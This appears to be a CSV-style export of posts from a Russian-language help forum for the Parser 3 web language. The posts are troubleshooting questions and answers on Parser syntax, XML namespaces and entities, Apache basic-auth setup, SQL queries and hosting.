26 26\
Почему не выводится 29?"
"22587","стоило разместить код на сайте :)"
"22588","нужно загрузить файл, который ПРЕДПОЛОЖИТЕЛЬНО является правильно сформированным XML, надо - проверить, так ли это, и, в случае ошибки выдать сообщение, не прервав выполнение программы."
"22589","Интересно..почему возможность изменения содержимого таблицы убрали из 3 версии."
"22590","1. Грузим файл\
2. Делаем из него xdoc\
\
Если файл имеет несоотвествие синтаксису XML то на 2-м шаге выбрасывается UE с которым и разбираемся далее.\
\
Если нужно проверять XML на соотвествие неким правилам - собираем парсер с поддержкой DTD и вперёд. Правда нужно для начала этот DTD составить.\
\
Поддержка DTD вкл. так (знающий да поймёт):\
\
pa_globals\
xmlDoValidityCheckingDefaultValue"
"22591","было так:\
[code]\
$genre[^load_genre[]]\
^if($search_genre){\
	$in[^search_genre.hash[field]]\
}\
<genre_list>\
^genre.menu{\
	<item ^if($in.[$genre.id]){check=\"yes\"}>\
		<id>$genre.id</id>\
		<title>$genre.title</title>\
	</item>\
}\
</genre_list>\
[/code]\
\
сделал так:\
[code]\
<genre_list>\
^xsl_genre_list[^load_genre[]][^if($search_genre){^search_genre.hash[field]}]\
</genre_list>\
\
@xsl_genre_list[genre;in_genre]\
^genre.menu{\
	\
	<item ^if($in_genre.[$genre.id]){check=\"yes\"}>\
		<id>$genre.id</id>\
		<title>$genre.title</title>\
	</item>\
}\
[/code]\
\
Почему если не делать копию хеша или не проверять на наличие $in_genre будет выдаваться ошибка?\
[quote]'18' string method not found [parser.runtime][/quote]"
"22592","возможно ли создать в одном контексте несколько методов с одинаковым именем,  но с разным количеством параметров?"
"22594","спасибо,- жалко .]"
"22595","... сделать один метод с максимальным количеством аргументов.\
А в нем проверять, сколько аргументов ему передали.\
При вызове метода можно передавать меньше\
параметров, чем указано в описании.\
Получается, что наш метод можно будет вызывать с разным\
количеством аргументов.\
\
Например:\
[code]\
@метод[аргумент1;еще_аргумент]\
\
^if(def $еще_аргумент){ нам дали два аргумента !}\
[/code]\
И в таком же духе. Это не очень удобно, \
не так, как в java, например, но, думаю, вполне приемлимо.\
\
Можно еще проверять тип аргумента. Все это есть в документации :)"
"22596","а, в общем-то, удобно.\
почти как default аргументы в C++  ;)"
"22603","Немного не понял в документации - объясните на примере пожалуйста.\
Если раньше обращаться к cgi-скриптам можно было так :\
[code]\
$cgi[^file::cgi[/../cgi-bin/script.pl;$.QUERY_STRING[query=^taint[$query]]]]\
[/code]\
И получать результат работы :\
[code]\
$cgi.text\
[/code]\
\
\
То как надо написать это обращение в версии 3.1?\
\
Заранее спасибо."
"22604","Только что провозился часа три со свежеустановленной Windows 2003 Server. Поскольку вопрос о настройке парсера для нее (под iis 6.0) здесь уже поднимался и вроде как безрезультатно, отчитываюсь:\
\
1. Чтобы работали isapi-расширения, нужно или разрешить все неизвестные isapi-расширения на вкладке Web Server Extentions, или же зарегистрировать новое расширение специально для парсера. В пятом iis такой вкладки не было!\
\
2. Парсер в версии isapi не видит auto.p, находящийся в папке с парсером. То есть, глобальный конфигурационный метод недоступен. Я так и не смог справиться с этой пакостью, поэтому пришлось использовать cgi-версию. Разработчикам: это в некотором роде багрепорт. Всем: если справитесь, сообщите."
"22605","...не запустился не один бинарник, который я смог скачать или построить на других машинах. Я решил что проще собрать на целевой машине, ан нет."
"22607","У меня Apache 1.3.28 и PHP4.3.3  сгенерировал пароль потом .htaccess и .htpasswd\
но вот набираю адрес он выводит окно авторизации набираю пароль и пассворд но он опять запрашивает т.е. не проходит. А потом выдает ошибку:\
401 Authorization Required\
Authorization Required\
This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.\
\
у меня в .htaccess\
\
AuthType Basic \
AuthName test \
AuthUserFile .htpasswd \
\
require valid-user \
\
А в .htpasswd\
test:$apr1$kY/.....$.v/L0PTUMeMYFAkm1BujN1\
\
Они оба в папке /htdocs/\
\
А ещё интересный момент в http.conf есть такая строка\
\
<Files ~ \"^\\.ht\">\
    Order allow,deny\
    Deny from all\
</Files>\
\
И ещё прочитал на сайте апачи что при такой ошибке нужно написат такие строчки:\
chown root.nogroup /usr/local/apache/passwd/passwords\
chmod 640 /usr/local/apache/passwd/passwords\
\
но не написано куда и в какой файл? :(\
\
Помоги плиз уже 3 дня никак, почти все доки прочитал весь форум (чуть ли не весь интернет :( )."
"22608","В http.conf  тоже ковырялся но все без результатно?"
"22609","Из [url=\"http://httpd.apache.org/docs/mod/mod_auth.html#authuserfile\"]документации[/url] к Apache'у:\
[code]File-path is the path to the user file. If it is not\
absolute (i.e., if it doesn't begin with a slash), it is treated\
as relative to the ServerRoot.[/code]\
Иначе говоря, задай путь к .htpasswd полный. Например, /home/user/www/htdocs/.htpasswd"
"22610","к примеру есть адрес который я проверяю ^query[]\
он мне выдает например /qqqq/aaa/bbb\
как мне в переменную (к примеру: check) занести ааа"
"22611","Если так то http://parser2.parser.ru/docs/operators07.html#3-7-8\
\
Если по третьему: http://www.parser.ru/docs/lang/?stringsplit.htm"
"22612","спасибо!!! =)"
"22613","для замены переводов стороки на <br>\
Только ненадо забывать, данные таблице испачкать."
"22614","Я задал такое:\
/Apache/htdocs/passwd/.htpasswd\
 все равно \
У меня ServerRoot\
прописан так:\
ServerRoot \"C:/Program Files/Apache Group/Apache\"\
все равно то же самое ошибка? :("
"22616","Подскажите, пожалуйста\
У меня есть переменная (допустим $str). В этой переменной может быть какое-нибудь слово (буквы+цифры). Требуется проверить, есть ли метод с таким названием (как слово) и вызвать его, если есть\
\
Пишу так\
[code]\
$str[forum]\
^if(def $str){\
^if($$str is junction){\
#А вот тут как раз и заминка, никак не могу вызвать такой метод\
#А должно быть вот что: ^forum[]\
}\
}\
\
@forum[]\
ля-ля-ля\
[/code]\
По форуму пытался искать, но так как не могу точно сформулировать вопрос, не получается\
Буду весьма благодарен за любые советы"
"22617","chown, chmod --- это команды ОС UNIX, при использовании Windows можно не обращать на них никакого внимания. \
Их не нужно писать ни в какой файл."
"22618","читак в доке, там написанно... Но это, как говорят, неправильно... Лучьше по другому делать...\
\
Поищи по форуму, ключевое слово - process, найдешь как советуют!"
"22619","Хеш с требуемыми методами и вызов из него. \
$exe[ $.forum[$forum] $._default[$defmeth] ] ^exe.$str[]\
@forum[] код форума\
@defmeth[] код метода, если str не определена или такого метода нет"
"22621","[code]\
^mail:send[ \
   $.from[$form:fname $form:surname <$form:mail>]\
[/code]\
\
В приходящем письме нету пробела между фамилией и именем, что тут можно сделать ?"
"22623","[code]\
$full_name[$form:fname $form:surname]\
[/code]"
"22624","Все надеюсь знают, что если написатьоднооченьдлинноесловобезпробелов, то оно может изрядно расстянуть сайт....\
Так вот посему возникает проблема борьбы с этим нежелательным текстовым явлением. Можно просто тупо обрезать нужное поле до определленного размера, но как бы избежать обрезания значимого поля со смыслом. Короче, вопрос таков: Как узнать, значение находящиеся в поле является одним большим \"словом\" или предложением, а потом уже, если одно большое сборище букв, то резать, а если нет, то нет."
"22625","включая /auto.p\
\
важно только, чтобы он не был описан дважды.\
\
что до того, что он почему-то не находится, то я беру argv0 строго документированным способом. кто знает другой, пусть подскажет: себе я 2003 ставить буду не скоро.\
[code]\
BOOL WINAPI DllMain(\
  HINSTANCE hinstDLL,  // handle to the DLL module\
  DWORD fdwReason,     // reason for calling function\
  LPVOID lpvReserved   // reserved\
  ) {\
\
	GetModuleFileName(\
	  hinstDLL,    // handle to module\
	  argv0,  // file name of module\
	  sizeof(argv0)         // size of buffer\
	);\
[/code]"
"22626","Подскажите как получить колличество записей\
\
делаю выбор \
1000\
2000\
а потом как мне показать что \
1000 у меня 5 записей в таблице\
а 2000 допустим 49\
вообщем кол во записей показать....\
\
\
\
\
\
\
@stat[]\
\
^connect[$connect_string]{ \
   $news[^table::sql{SELECT otv, COUNT(*) FROM vop\
GROUP BY 1 ORDER BY otv\
}] \
   ^if($news){ \
      ^news.menu{ \
         $news.otv\
         \
      }[<br>] \
   }{ \
      Нет ответов......\
   } \
} \
 Спосибо за ранее.............\
__________________"
"22628","Ссылки по теме\
http://www.mysql.com/doc/ru/Reference.html\
Возможно и средствами Parser"
"22629","Вопросом на вопрос,\
Какое самое длинное слово в русском языке?\
Может имеет смысл резать всё что длинее 50 символов, заисключением начинаю щегося с http://, ftp://, ... и содержащего / или \\."
"22630","@stat[]\
\
^connect[$connect_string]{ \
   $news[^table::sql{SELECT otv, COUNT(otv)  FROM vop\
GROUP BY otv \
}] \
   ^if($news){ \
      ^news.menu{ \
$news.otv\
    ----Здесь как мне показать ????? \
      }[<br>] \
   }{ \
      Нет ответов......\
   } \
}"
"22631","Что значит грязный текст? Как это выглядит на выводе? Чем строка из 1000 фрагментов отличается от \"нефрагментированной\"? Руководство написано в расчете на человека, который это уже понимает, а он - не я."
"22632","Вообще это ещё и в доке парсера есть ;)\
Прям в точности то что надо тебе.\
http://www.parser.ru/docs/lang/intdoublesql.htm\
\
ps: Здесь врядли смогут(захотят) помочь нечитающему доку."
"22633","с чем связано возникновение этой\
ошибки при запуске ^process из\
другого ^process в контексте одного\
объекта?"
"22634","подумайте, сколько должно быть параметров у ^process?\
что тогда значит (parameter #2)?\
\
правильно: что где-то болтается \
[code];[/code]\
а должна быть\
[code]^;[/code]"
"22635",">Что значит грязный текст? Как это выглядит на выводе?\
Ответ на этот вопрос есть в доке\
http://www.parser.ru/docs/lang/opuntainttaint.htm\
\
\
>Чем строка из 1000 фрагментов отличается от \"нефрагментированной\"?\
В смысле?\
\
>Руководство написано в расчете на человека, который это уже понимает, а он - не я.\
Челове должен понимать чего он хочет, и строить алгоритмы средствами которыми располагает.\
\
ps: Перед тем как писать что-то своё на Парсере имеет смысл изучить примеры в уроках, почитать faq и хорошенько изучить оглавление, чтоб знать возможности языка. И помере поступленя вопросов обращаться к доке."
"22636","Обратите внимание, как передаются параметры ^mail:send[] - очень удобно. Остается только проверить, def ли соответствующий параметр - если да - пользовать."
"22637","В логе иногда получаю ошибки. С чем связаны не пойму\
[code]\
/company/: config(0): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>]\
[/code]\
или такая\
[code]\
SIGUSR1 received. uri=/catalog/products/?cid=3&sid=8, qs=cid=3&sid=8\
[/code]\
причем откуда берется параметр qs= непонятно."
"22638","это значит что парсер не смог работать с клиентской библиотекой libparser3mysql.so которая или битая или вообще недоступна ему."
"22639","Дело в том, что не делая ничего работа сайта восстановилась через полдня простоя и выдачи такой ошибки."
"22642","Странная фигня получается.\
Я сделал детач а затем аттач базы и сайт перестал работать - парсер пишет CDBException: Communication link failure.\
Чотя сама база вроде рабочая. Все селекты и апдейты выполняются"
"22643","ative method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) type: parser.runtime"
"22645","Извиняюсь. Ошибка была связана с базой."
"22647","замены табов на пробелы и переносом фигурных скобок на одну строку с оператором. Вот я и подумал, может у кого подобное было?"
"22648","если не лень, конечно: чтобы люди могли поиском потом найти?"
"22649","Тут такая проблема образовалась...\
\
Имеется XML ($xd). В нём есть цитаты (//quote), хочется во всех цитатах заменить ковычки и пр.\
\
[code]\
$list[^xd.select[//quote]]\
^for[i](0;$list-1){\
   $node[$list.$i]\
   $textNode[$node.firstChild]\
   $text[$textNode.nodeVaue]\
   $text[^text.match[(^^|\\s)(\\\"|&quot^;|&laquo^;)][g]{${match.1}&#171^;}]\
   $text[^text.match[(\\\"|&quot^;|&raquo^;)(^$|\\s|\\.)][g]{&#187^;${match.2}}]\
   $text[^text.match[(\\s+-\\s+)][g]{ &#151^; }]\
   $newTextNode[^xd.createTextNode[$text]]\
   $node[^node.replaceChild[$newTextNode;$textNode]]\
}\
[/code]\
\
Проблема в том, что в этом новом документе, все амперсанты заменяются на &amp;. Как этого избежать?"
"22650","1. вообще-то в DOM разрешена прямая запись в .nodeValue, до того никому не нужна была. как-нибудь сделаю. вдруг многим нужна?\
\
2. вы не понимаете, что такое entities в xml. \
никаких &quot; и &laquo; вы в тексте не найдёте.\
\
или ещё проще: в parser при xml::load/create документа, entities в нём заменяются на значения.\
[а если бы не заменялись, вам надо было бы искать не текст, а entityrefs]\
\
3. &amp; это представление символа '&'."
"22651","Наверное я действительно чего-то не пнимаю.\
Я пытаюсь в документ вставить текст содержащий &#171;, &#151; и т.д.\
Как сделать это?"
"22653","В данном случае, я не пытаюсь заменить &quot; и &laquo;. В разбираемом документе их конечно нет. Но там есть '\"'. Их-то я и заменяю на &#171; и &#187;. Но вместо « и » получаю &#171; (&amp;#171;) и &#187; (&amp;#187;)"
"22654","SIGUSR1 это один из сигналов, с помощью которых процессы (например апач и Парсер) общаются между собой. Если не ошибаюсь, апач в здравом уме не должен посылать Парсеру этот сигнал, следовательно Парсером он не обрабатывается, что происходит дальше - см. тут: http://www.parser.ru/forum/?id=11479.\
\
qs это query string, откуда оно берется можно определить, посмотрев на ошибку внимательнее."
"22655","http://validator.w3.org/check?uri=http%3A%2F%2Fwww.bougakov.com\
\
- пожалуйста, объясните мне, неразумному, чего он хочет? Почему в div нельзя вложить ни blockquote, ни p, ни другой div?! Я уже час бьюсь, и никаких идей...\
\
[b]UPDATE:[/b] \
\
вопрос решился. Мораль - надо пристальнее в код смотреть...\
\
P.S. Оказывается, \"Valid XHTML\" - это не так сложно..."
"22656","Parser перестает видеть в документе элемент с xmlns.\
вот пример:\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document xmlns=\"urn:my-name-space\">\
	<cars>\
		<car>Альфа Ромео</car>\
		<car>Астон Мартин</car>\
		<car>Ауди</car>\
		<car>Бентли</car>\
		<car>БМВ</car>\
		<car>Мерседес</car>\
		<car>Лексус</car>\
		<car>Тойота</car>\
		<car>Феррари</car>\
		<car>Фольксваген</car>\
	</cars>\
</document>}]\
\
$cars[^xml.select[//car]]\
найдено ^cars._count[] записей<br/>\
^for[i](0;$cars-1){\
	$car[$cars.$i]\
	$marka[$car.firstChild.nodeValue]\
	$marka<br/>\
	\
}\
[/code]\
\
Результат:\
найдено 0 записей\
\
А если вот этот код:\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
	<cars>\
		<car>Альфа Ромео</car>\
		<car>Астон Мартин</car>\
		<car>Ауди</car>\
		<car>Бентли</car>\
		<car>БМВ</car>\
		<car>Мерседес</car>\
		<car>Лексус</car>\
		<car>Тойота</car>\
		<car>Феррари</car>\
		<car>Фольксваген</car>\
	</cars>\
</document>}]\
\
$cars[^xml.select[//car]]\
найдено ^cars._count[] записей<br/>\
^for[i](0;$cars-1){\
	$car[$cars.$i]\
	$marka[$car.firstChild.nodeValue]\
	$marka<br/>\
	\
}\
[/code]\
то всё окей\
Результат:\
\
найдено 10 записей\
Альфа Ромео\
Астон Мартин\
Ауди\
Бентли\
БМВ\
Мерседес\
Лексус\
Тойота\
Феррари\
Фольксваген\
\
например если попробовать передвинуть xmlns в car :\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
	<cars>\
		<car>Альфа Ромео</car>\
		<car>Астон Мартин</car>\
		<car>Ауди</car>\
		<car>Бентли</car>\
		<car xmlns=\"urn:my-name-space\">БМВ</car>\
		<car>Мерседес</car>\
		<car>Лексус</car>\
		<car>Тойота</car>\
		<car>Феррари</car>\
		<car>Фольксваген</car>\
	</cars>\
</document>}]\
\
$cars[^xml.select[//car]]\
найдено ^cars._count[] записей<br/>\
^for[i](0;$cars-1){\
	$car[$cars.$i]\
	$marka[$car.firstChild.nodeValue]\
	$marka<br/>\
	\
}\
[/code]\
\
то результат:\
\
найдено 9 записей\
Альфа Ромео\
Астон Мартин\
Ауди\
Бентли\
Мерседес\
Лексус\
Тойота\
Феррари\
Фольксваген\
\
\
такое ощущение что что-то не так, хотя я еще не профи в xml, думается что так быть не должно.\
\
parser 3.1 winXP apache 1.3"
"22657","При чтении RSS при указани namespace элемент не видно - \
\
<item rdf:about=\"http://www.dashes.com/links/archives/20031102.php#007622\"> не воспринимается, <item> просто - на ура."
"22659","http://www.parser.ru/forum/?id=20823"
"22660","что интересно - нет.\
\
потому как, запустив второй обработчик\
в контексте другого объекта того же класса,\
проблем не возникло.\
\
Код таков:\
\
\
^try{\
   ^process[$obj1]{^func1[...]}\
}\
\
\
@func1[...]\
  ...\
  $result[^func2[...]]\
\
\
@func2[...]\
   ...\
   ^try{\
      $result[^process[$obj1]{...^func3[...]...}]\
   }\
\
\
Именно в ^try из func1 обнаружился exception.\
\
Причем при замене на\
      ^process[$obj2]{...^func2[...]...}\
все работает."
"22661","э-э-э, батенька, нада, очень нада.\
\
шо ж вы раньше-то молчали?"
"22663","^process{в теле} вы пишете ..., в этом ..., я уверен, написано $var.\
\
при этом, я уверен, забываете сделать ^$var.\
что происходит: [b]текст[/b] $var подставляется в тело process, и пытается компилироваться."
"22665","это, стало быть, не ваш код :)\
[code]\
$text[^text.match[...&quot^;...]\
[/code]"
"22666","&#NNNN; это работает стереотип, отбросьте его. \
&#NNNN; это entityref, они в TextNode не живут. там живут буквы.\
\
вот и вставляйте букву. \
\
если вам удобно набрать её на клавиатуре, наберите: Alt+0171« Alt+0187».\
если неудобно, воспользуйтесь «[url=\"http://www.parser.ru/docs/lang/stringlit.htm\"]Строковые литералы[/url]», соответственно ^#AB и ^#BB, если правильно помню."
"22668","а объявили с namespace, закономерно не находит.\
\
не уверен, что это многим нужно, но можно сделать в духе MSXML:\
\
[quote]\
However, if the same XML document is namespace qualified that is by updating the following line in the original XML files:\
\
<?xml version=\"1.0\" encoding=\"utf-8\" ?> \
<myDoc xmlns=\"urn:myDoc\">\
   <greeting>Hello World!</greeting>\
   <greeter>\
      <first-name>John</first-name>\
      <last-name>Doe</last-name>\
   </greeter>\
</myDoc>\
\
you must then set the SelectionNamespaces property on the DOM object prior to making your XPath selection. For example, update the previous JScript to insert the following line of code as the new first statement within the body of the else statement:\
\
d.setProperty(\"SelectionNamespaces\", \"xmlns:a='urn:myDoc'\");\
Next you need to adjust your XPath expression so that it uses QNames (fully namespace qualified names) instead of unqualified names in order to achieve the same results and output as \"Hello World!\" which uses the modified sample XML document. \
\
For example, to retrieve the <a:greeting> element, in the previous JScript code, you now need to have the XPath expression updated to read as follows:\
\
var node = d.selectSingleNode(\"/a:myDoc/a:greeting\"); \
[/quote]\
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk30/htm/xmconhowtospecifynamespaceinxpathexpressions.asp"
"22669","Скажи ка Саня а как ты при XML трансформе добиваешся того, чтобы в значениях атрибутов были русские буквы, а не соотв. Unicode подстановки, в случае если тип вывода в <xsl:output> xml а не html?\
\
Или ты не юзаешь XML в полном объёме и у тебя, скажем, гибридный сайт?"
"22670","Я делаю личный сайт с огладкой на то, что вывалю его движок  в отдельный zip и назову это \"Parser 3 example site\". XML-ной там будет только работа с RSS, XML-RPC и FOAF, а странички - вполне as-is. Просто я себе представляю, как новичок, который с грехом пополам освоил руководство будет сразу окунаться в xml - он же забъёт и пойдёт себе пхп ставить.\
\
А написание \"правильного\" валидного кода - это просто демонстрация стиля. Так и будет обозначено - смотрите, ребята, вот вам движок, который генерит чистый текст, оформление вынесено в css, content to size ratio замечательное, воспользуетесь этим движком и гугль вас любить будет нежно. Учитесь и делайте так же и будет нам всем хорошо."
"22671","Вот я беру текст rss-файла\
\
[code]$xml[^xdoc::create{^untaint{$rss.text}}][/code]\
\
вот я выбираю все элементы <item></item>:\
\
[code]$items[^xml.select[/rss/channel/item]][/code]\
\
и перебираю их друг за другом:\
\
[code]^for[i](1;$items){\
$title{^xml.selectString[string(/rss/channel/item[position() = $i]/title)]}[/code]\
\
Что в этом коде надо поменять, чтобы перебирались [b]и[/b] просто <item></item>, [b]и[/b] те элементы item, которые выглядят как\
\
[code]<item rdf:about=\"http://asdfasdfas/\">[/code]\
\
Заранее спасибо."
"22672","Ну вот а скажи чем [b]принципиально[/b], с точки зрения смысловой разметки, XHTML лучше HTML 4.01 для современных браузеров?\
\
Я пришёл к выводу что ничем. Вот и нефиг новичков и XHTML'ом грузить до кучи."
"22673","если я выразился недостаточно понятно:\
сейчас такая возможность в parser не реализована, хотя библиотека позволяет.\
\
со временем, возможно, сделаю.\
\
нам никогда не надо было.\
призываю разработчиков со стороны."
"22674","Он с точки зрения стандарта лучше. Ближе к XML. Красивше, что ли... ;-)"
"22675","method_frame may not be overwritten with bool, use constructor type: parser.runtime\
\
И кто такой BOOL? Имеется в виду BOOLEAN? :)"
"22676","к слову: а в сообщении есть номер строчки, вы туда посмотрели?"
"22677","Такое бывает если например сделать так:\
[code]\
$myBoolVar(1>0)\
<h3>Trying to show boolean variable:</h3>\
<p>Here it is - $myBoolVar</p>\
[/code]"
"22679","Реализовал я тут как-то на досуге часть DOM2 методов работающих с NS. в загружаемой с этого сайта версии этого нет, зато есть в тех что у меня лежат. Попробуете? Там делал следующее:\
\
xdoc:\
createAttributeNS\
createElementNS\
\
xnode:\
getAttributeNS\
setAttributeNS\
removeAttributeNS\
getAttributeNodeNS\
setAttributeNodeNS\
hasAttribute\
hasAttributeNS"
"22680","XML? или какого ещё?"
"22681","Здравствуйте. Вот такая вот задача:\
СУБД ORacle 8.1.7, в таблице есть поле BLOB. Нужно при нажатии на ссылку download.html?file.txt сходить и посмотреть есть ли такой файл в таблице и если есть, то дать его скачать.\
как сходить и посмотреть я понимаю, что вот как дать его скачать - не очень."
"22682","вы уверены, что вам так удобно, или Т.З. писали без консультации с вами?"
"22683","если у вас текст файл не используеться для формирования информации на сайте, то не нужно его там хранить, храните в базе имя файла!\
\
если так как я сказал все очень просто: \
как в примере\
http://www.parser.ru/docs/lang/?responsedownload.htm\
\
а если нет, то можно сохранить ваш BLOB в файл потом загрузить, и как в примере, но лучше конечно проверять с начала есть ли в каталоге а потом уж в базе если не часто обновляеться,\
\
а можно думаю так, сам не проверял\
[code]\
$text_file[^table::sql{SELECT text FROM your WHERE smth}]\
$response:download[$text_file.text]\
[/code]"
"22684","Более того, программу писали без консультации со мной. Я дописываю. \
\
Ссылку прочитал. Выход есть какой-нибудь?"
"22685","А. Догнал :-)\
Нужно писать CGI скрипт, который будет забирать блоб, класть его в секретное место, а парсер будет его выдавать. Так? Вроде бы так.\
getblob.sh это здорово... но на win2kAS не покатит, мне кажется :-)"
"22686","Просто скоприрован из другого места."
"22687","Вот до этого-то я и не догодался :("
"22688","blob.bat\
\
sqlplus user/password@db\
select blob field from table where (p1 = %1) and (p2 = %2)\
\
потому в нужном месте\
^file::exec[/../exec/gebglob -p1_value -p2_value]\
\
ну а дальше всё, что душе угодно\
\
так должно работать? :-)"
"22689","он у вас идёт после\
[code]\
$text[$textNode.nodeVaue]\
[/code]"
"22690","я не знаю готовой утилитки, которая вам достанет blob в файл.\
sqlplus это точно не умеет.\
\
я уже молчу, что и .bat файл и вызов exec вы написали неправильно.\
\
вы машину тоже так водите, просто нажимаете на газ?"
"22691","Про ошибки - торопился. Потеря лица, признаю :-)"
"22692","вообще исследуется вопрос парсера как форумаделателя\
есть ли мысль?"
"22693","и загляните в примеры."
"22694","Ранее : записывал в директорию www на сервере провайдера свои ХТМЛ-файлы. Потом запускал в Эксплорере и все работало. \
Теперь: установил Денвер. Сделал кое-что на Парсере. Все работает на моем ПК. \
А как перевести это все на сервер провайдера Apache/1.3.27."
"22697","Возникла надобность называть переменные динамически и сохранять их содержимое в файл\
[code]\
$uno[duo]\
\
$$uno[tres]\
\
#эта переменная называется $duo и в ней содержится строка tres\
[/code]\
Внимание! Вопрос: \
Как теперь сохранить содержимое переменной [b]$duo[/b] в файл?\
[code]\
^$$uno.save[test.txt]\
[/code]\
по понятным причинам работать не хочет\
[code]\
^{$$uno}.save[test.txt]\
[/code]\
тоже не взлетает"
"22698","$uno[duo]\
\
$Z${uno}[tres]\
\
^Z${uno}.save[test.txt]"
"22699","Что вы делаете, что не получается? Что отвечает на Ваши вопросы служба техподдержки хостера? Что за компания-хостер в конце-концов?"
"22700","Просмотрел на днях спецификацию XSLT 2.0. Есть много полезных дополнений... Решил преобразовать xml-документ шаблоном XSLT этой версии, в результате чего вышла ошибка: \"метод поддерживает только версию 1.0\"... (что-вроде того). Будет ли эта поддержка в дальнейших версиях?"
"22701","проверил\
по логике должно работать так:\
^{$[$uno]}.save[text.txt]\
или так:\
^[${$uno}].save[text.txt]\
но не работает."
"22702","После успешной авторизации, пользователь перенаправляется на страницу\
display.html?$apr1$prTyQ01C$QQ2zMRqoBaiQSM.Kxst.T1\
где $apr1$prTyQ01C$QQ2zMRqoBaiQSM.Kxst.T1 - захэшированное имя пользователя.\
На этой странице мне надо узнать кто пришел. Можно ли как-то расшифровать этот самый хэш? \
Если нет, то какие есть варианты.\
Благодарю."
"22703","Незнаю какое в русском, но знаю, что вроде в англии есть ж/д станция у которой название состоит из 32 букв, но вопрос не в этом. :) Проблема не в длине реального слова, а в длине фигни которой могут написать без пробелов, пример: аааййййййййййййкойцдлекоцйледойцлдййййбктоенюбколндоуклдноуцлд. Так вот невижу смысла в резании всего подряд до определенной длины, хотелось бы различать \"наборсимволовбезпробелаэто\" или смысловое предложение, вот еже ли это \"наборсимволовбезпробела\", то его бы надо и отрезать, а еже ли нет, то оставить длину - как есть."
"22704","а кому очень захотелось изящества и готов наплевать на какие-то браузеры,\
[code]<WBR>[/code]"
"22705","^$, это литеральный '$'. как и ^; это ';'. перечитайте главу о литералах.\
\
в такой формулировке задача не имеет решения. \
почему нет такого способа? потому, что это не в духе parser.\
\
ведь конструкция [code]$$var_name[value][/code], часто заменима на конструкцию [code]$цвета.заголовок[зелёный][/code], что куда более читабельно и нет подобных проблем.\
\
но, вообще говоря, записывать строки на диск, не самое оптимальное дело. возможно, больше подойдет table save/load."
"22706","этот вопрос к автору этой библиотеки. в parser используется именно эта."
"22707","на самом деле даже показывать его посторонним: малопонятная затея."
"22708","я уже распространялся.\
в примере к ^math:md5 полностью готовый к употреблению кусок.\
\
если пойти по этому пути, вы получите простое проверенное решение, и ответом на ваш вопрос будет, «в\
[code]\
$env:REMOTE_USER\
[/code]\
»"
"22710","Возник вопрос. Как можно отобразит при помощи Парсера дерево каталогов.\
Вернее не отразить а прочитать и вывести в таком виде.\
[ul]\
[li]Папка\
   [ul]\
     [li]Папка\
[li]Файл\
[li]Файл\
[li]Файл\
   [ul]\
     [li]Папка\
[li]Файл\
[li]Файл\
[li]Файл\
\
\
    [/ul]\
\
\
    [/ul]\
[li]Файл\
[/ul]"
"22712","Хорошо. А как обычно делается, когда используется идентификация не через стандартное окно идентификации, а когда имя пользователя и пароль вводятся на обычной веб-странице.\
В этом случае ведь\
$env:REMOTE_USER\
не сработает - оно будет пустым.\
У меня организовано так: после успешной авторизации, запись об этом попадает в таблицу, где указывается IP, имя пользователя, время последнего совершенного действия. При попытке,со стороны пользователя, что-нибудь сделать, сначало проверяется время последней активности (если оно больше 10 минут - то требуется повторная авторизация), затем, если с этим параметром все нормально, то выполняется необходимое действие, после чего запись о совершенном действии снова заносится в эту таблицу.\
Соответственно, мне необходимо каким-то образом передавать имя пользователя на остальные страницы. В приниципе, это можно сделать и в явном виде - в строке адреса (ведь если пользователь не прошел авторизацию - нет записи в таблице с сессиями, соответственно, его вернут на страницу авторизации). Хэш в этом случае используется исключительно для отвода глаз.\
\
Если мое мнение здесь ошибочно, поправьте пожалуйста!"
"22713","Документация гласит:\
Для чего в основном конфигурационном файле веб-сервера (обычно httpd.conf) в секцию вашего <virtualhost …> вашего сайта, или вне ее - для всех сайтов, добавьте директивы: \
<Directory /путь/к/вашему/веб/пространству> \
AllowOverride FileInfo \
</Directory>. \
Вопрос: этот файл должен указать мне провайдер???"
"22714","[code]\
@main[]\
^getDir[/../]\
\
@getDir[path][list]\
$list[^file:list[$path;]] \
^list.menu{\
	^if(-d \"${path}$list.name\"){\
		<ul>\
			<b>$list.name</b>\
			<blockquote>^getFile[${path}$list.name/]</blockquote>\
			^getDir[${path}$list.name/]\
		</ul>\
	}\
}\
\
@getFile[path][list]\
$list[^file:list[$path;]]\
^list.menu{\
	^if(-f \"${path}$list.name\"){\
		<li>$list.name</li>\
	}\
}\
[/code]"
"22717","как стандартной, так и не совсем стандартной :)\
\
Я писал пример простого класса:\
http://www.parser.ru/forum/?id=17609\
\
Миша писал пример навороченного класса:\
http://www.parser.ru/examples/auth/\
\
да и много чего еще. Поиск рулит."
"22718","Установил  Денвер. Сделал кое-что на Парсере. \
Все успешно работает. Но это на локальном ПК.\
Знаю, что у моего провайдера веб-сервер Апачи 1.3.\
На сервере провайдера имею в распоряжение каталог www, куда ранее закидывал свой ХТМЛ-сайт. И который успешно работал.\
Не могу понять: для установки Парсер мне обязательно надо дергать провайдера, или можно сделать это самому????"
"22720","в этом форуме не принято помогать тем, кто сам не желает пальцем пошевелить.\
\
инструкции по установке парсера описаны на этом сайте в документации, в разделе скачать, в форуме.\
\
на ваши сообщения вам не раз и не два уже давали наводки - вы их игнорируете. вам задавали вопросы - вы игнорируете и их.\
\
читайте инструкции, делайте по ним, если будут возникать проблемы - пишите ЧТО ВЫ ДЕЛАЛИ, ЧТО ОЖИДАЛИ ПОЛУЧИТЬ и ЧТО НЕ ПОЛУЧИЛОСЬ."
"22721","А опция эта может быть выключена у юзеров.\
По поводу того, что поиск рулит - он на этом форуме не удобный. К сожалению."
"22722","ДОКУМЕНТАЦИЯ гласит:\
По-умолчанию, в установке Apache возможность использования .htaccess отключена. Если она вам необходима, разрешите их использовать (по крайней мере, задавать FileInfo). Для чего в основном конфигурационном файле веб-сервера (обычно httpd.conf) в секцию вашего <virtualhost …> вашего сайта, или вне ее - для всех сайтов, добавьте директивы: \
<Directory /путь/к/вашему/веб/пространству> \
